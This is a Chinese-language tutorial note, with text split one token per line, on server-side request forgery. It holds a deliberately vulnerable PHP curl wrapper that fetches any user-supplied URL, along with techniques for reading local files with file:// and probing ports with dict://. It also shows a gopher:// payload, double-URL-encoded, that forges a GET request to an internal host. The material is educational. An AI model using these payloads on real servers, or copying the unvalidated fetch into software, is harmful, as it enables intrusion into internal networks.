ssrf
(
server-side request forgery
)
服务端请求伪造
,
由服务器发起请求,服务器提供了向其他服务器索取数据的功能,索取数据的服务器未
对索取主机、索取资源进行限制;
输入
url
访问站点
xxx.com------------
》
xxx.com
接收请求后
--------
》
xx2.com
发送索取数据请求
csrf&ssrf:
用户为受害者
&
用户为攻击者
php
中常见于
curl_exec
、
file-get-content
函数使用不当
ssrf
与协议:
php
function
curl
(
$url
){
$ch
=
curl_init
();
curl_setopt
(
$ch
,
CURLOPT_URL
,
$url
);
curl_setopt
(
$ch
,
CURLOPT_HEADER
,
0
);
curl_exec
(
$ch
);
curl_close
(
$ch
);
}
@$url
=
$_GET
[
'url'
];
curl
(
$url
);
?>
通过
curl
获取资源
url=
任意网站
url
url=
访问自身的敏感文件
读取文件
file://
绝对路径
探测本地端口
http:// dict://
gopher
协议与
ssrf
使用限制
php>5.3
,
curl
低版本无法使用,
java jdk<1.7
,
查看自己的
web
服务器是否支持
gopher
协议:
gopher
:
//
协议格式
gopher://:/_
数据 注
:_
可被除了
$
#
等特殊字符以外的任意字符替
换
gopher
默认端口
70
发送
GET/POST
请求时对特殊符号需要
url
编码
gopher
协议发送
GET
请求数据包
get.php
源码如下
对数据包进行
url
编码
在
http
数据包中,需要
%0d%0a
来分隔每一行
gopher
协议发送
POST
请求数据包
post
源码如下
注:
post
请求需要请求头中的
content-type
:
application/x-www-form-urlencoded
请求体和请求头之间需要两组
%0d%0a
gopher
协议结合
ssrf
漏洞时要对特殊字符等进行二次
url
编码
二次
url
%25%34%37%25%34%35%25%35%34%25%32%30%25%32%66%25%36%37%25%36%35%25%37%34%25%32%6
5%25%37%30%25%36%38%25%37%30%25%33%66%25%36%31%25%33%64%25%33%31%25%33%32%25%33%
33%25%33%34%25%33%34%25%33%34%25%33%35%25%33%35%25%33%35%25%33%35%25%33%35%25%33
%35%25%33%35%25%33%35%25%33%35%25%33%35%25%33%35%25%33%35%25%33%35%25%32%30%25%3
4%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%
30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%39%25
%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%30%25%32%65%2
5%33%31%25%33%32%25%33%38%25%30%64%25%30%61
一次
url
%47%45%54%20%2f%67%65%74%2e%70%68%70%3f%61%3d%31%32%33%34%34%34%35%35%35%35%35%3
5%35%35%35%35%35%35%35%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%
32%2e%31%36%38%2e%31%30%2e%31%32%38%0d%0a
原始数据
GET /get.php
?a
=
1234445555555555555
HTTP/1.1
Host:
192
.168.10.128
第一层
url
会在漏洞服务端解析,第二层
url
则在内网的
web
服务器中解析